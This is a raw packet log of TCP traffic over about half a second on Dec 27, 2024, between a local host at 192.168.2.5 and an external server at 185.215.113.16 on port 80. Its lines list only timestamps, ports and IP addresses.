Dec 27, 2024 15:01:24.840471029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.840790033 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.841387987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.841483116 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.841562986 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.842580080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.842717886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.842780113 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.843719959 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.843823910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.844727993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.844851971 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.844858885 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.844898939 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.845632076 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.845643997 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.845709085 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.846646070 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.846767902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.846841097 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.847697020 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.847805023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.847867012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.848735094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.848833084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.848891020 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.849845886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.849935055 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.849982023 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.850826025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.850948095 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.850995064 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.851912022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.852025032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.852072001 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.852940083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.853056908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.853117943 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.854053974 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.854104996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.854150057 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.855057001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.855153084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.855204105 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.856110096 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.856218100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.856334925 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.857158899 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.857258081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.858205080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.858263969 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.858303070 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.859044075 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.859242916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.859369993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.859651089 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.860321045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.860471964 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.860534906 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.861351013 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.861458063 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.861562967 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.862425089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.862582922 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.862634897 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.863504887 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.863528967 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.863782883 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.864504099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.864697933 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.864800930 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.865566015 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.865685940 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.865911007 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.866620064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.866730928 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.866997957 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.867662907 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.867775917 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.868071079 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.868721962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.868959904 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.869204998 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.869824886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.869971037 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.870265961 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.870856047 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.870942116 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.871094942 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.872041941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.872162104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.872255087 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.873532057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.873603106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.873661041 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.874531031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.874644041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.874685049 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.875809908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.875879049 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.875958920 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.877075911 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.877171993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.877222061 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.877820969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.877897024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.877968073 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.878515959 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.878540039 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.878582954 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.879395008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.879549026 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.879616976 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.880337954 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.880393028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.880489111 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.881331921 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.911437035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.911525965 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.911546946 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.911958933 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.912014008 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.917092085 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.917150974 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.917315960 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.917553902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.917670965 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.917715073 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.918668032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.918718100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.918807030 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.949850082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.949908972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.950051069 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.950119972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.950251102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.950289965 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.951194048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.951323986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.951370955 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.952328920 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.952452898 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.952574968 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.953038931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.953088045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.953157902 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.954016924 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.954125881 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.954170942 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.955112934 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.955185890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.955229998 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:24.956087112 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:24.999465942 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.050657034 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.050677061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.050750017 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.050818920 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.050836086 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.050875902 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.051904917 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.051997900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.052042961 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.053380966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.053472042 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.053519964 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.053968906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.054058075 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.054101944 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.055047989 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.055145979 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.055416107 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.056828976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.056852102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.056893110 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.057203054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.057216883 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.057306051 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.058599949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.058615923 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.058655977 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.059206963 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.059283972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.059329987 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.060262918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.063735008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.063802004 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.063869953 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.064291000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.064343929 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.080610991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.080627918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.080693007 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.080986023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.081779957 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.081914902 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.082871914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.082889080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.082964897 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.083118916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.114902973 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.114922047 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.114989996 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.115200996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.115252972 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.115288019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.116446972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.116461992 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.116530895 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.117361069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.117413044 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.117722034 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.117738008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.117835999 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.118716955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.118824005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.119014978 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.119878054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.120183945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.120239019 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.120835066 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.120965958 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.121110916 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.121823072 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.122335911 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.122380018 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.123162031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.123178005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.123224974 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.124995947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.125010014 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.125035048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.125060081 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.126113892 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.126128912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.126143932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.126154900 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.126178026 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.128184080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.128206968 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.128213882 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.128266096 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.128868103 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.128910065 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.129129887 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.157450914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.157468081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.157593012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.157727003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.157742023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.157783985 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.158858061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.158873081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.158924103 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.159816027 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.162272930 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.224644899 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.224800110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.224857092 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.224968910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.232388020 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.232413054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.232467890 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.232640028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.232707024 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.232902050 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.232918024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.232958078 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.233908892 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.233964920 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.234046936 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.234780073 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.239725113 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.239934921 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.240005016 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.240820885 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.240844965 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.240869045 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.241440058 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.241482973 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.241539001 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.244621038 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.244658947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.244676113 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.244709969 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.244730949 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.244784117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.244800091 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.244815111 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.244837999 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.245474100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.245529890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.245584011 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.246602058 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.246618032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.246670008 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.247622013 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.247778893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.247843027 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.248686075 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.248702049 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.248724937 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.249694109 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.249718904 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.249751091 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.250864983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.250907898 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.250976086 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.252111912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.252127886 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.252160072 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.252835989 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.252938986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.252989054 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.253937960 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.254017115 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.254061937 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.255001068 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.255064011 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.282689095 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.282721996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.283014059 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.283051968 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.283157110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.283229113 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.284145117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.327600956 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.349607944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.349709988 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.349781036 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.350028992 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.356929064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.357026100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.357043028 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.357458115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.357503891 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:25.357552052 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.358148098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.358243942 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:25.358306885 CET	49731	80	192.168.2.5	185.215.113.16
